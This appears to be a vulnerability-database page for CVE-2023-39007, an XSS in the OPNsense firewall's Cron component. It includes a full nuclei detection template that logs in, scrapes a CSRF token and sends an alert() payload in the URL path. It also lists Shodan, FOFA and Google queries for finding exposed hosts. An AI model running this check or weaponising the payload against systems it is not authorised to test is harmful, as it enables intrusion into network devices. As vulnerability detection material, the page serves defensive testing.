Browse / CVEs / CVE-2023-39007
CVE-2023-39007· opnsense / opnsense· CWE-79
OPNsense - Cross-Site Scripting to RCE
There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.
Impact
Authenticated attackers can inject malicious JavaScript through the Cron item opening functionality, potentially escalating to remote code execution and compromising the entire firewall/router system and network security.
Fix
Update OPNsense Community Edition to version 23.7 or later, or Business Edition to version 23.4.2 or later that properly sanitizes input in the Cron ItemController.
How to confirm it
Send: GET / ; POST / ; GET /ui/cron/item/open/0'+alert(document.domain)+'
Positive when: contains in body_3 "openDialog('0'+alert(document.domain)+''" AND contains in header_3 "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2023-39007 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-39007
info:
name: OPNsense - Cross-Site Scripting to RCE
author: ritikchaddha
severity: critical
description: |
There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.
impact: |
Authenticated attackers can inject malicious JavaScript through the Cron item opening functionality, potentially escalating to remote code execution and compromising the entire firewall/router system and network security.
remediation: |
Update OPNsense Community Edition to version 23.7 or later, or Business Edition to version 23.4.2 or later that properly sanitizes input in the Cron ItemController.
reference:
- https://logicaltrust.net/blog/2023/08/opnsense.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-39007
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.6
cve-id: CVE-2023-39007
cwe-id: CWE-79
epss-score: 0.02608
epss-percentile: 0.85526
cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: opnsense
product: opnsense
shodan-query:
- title:"OPNsense"
- http.title:"opnsense"
fofa-query: title="opnsense"
google-query: intitle:"opnsense"
tags: cve2023,cve,opnsense,xss,authenticated,rce,vuln
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1
- |
GET /ui/cron/item/open/0'+alert(document.domain)+' HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- "openDialog('0'+alert(document.domain)+''"
- type: word
part: header_3
words:
- "text/html"
- type: status
status:
- 200
extractors:
- type: regex
name: para
part: body
group: 1
regex:
- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
internal: true
- type: regex
name: value
part: body
group: 2
regex:
- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
internal: trueReferences
Use this check only on systems you are authorised to test. Where the data comes from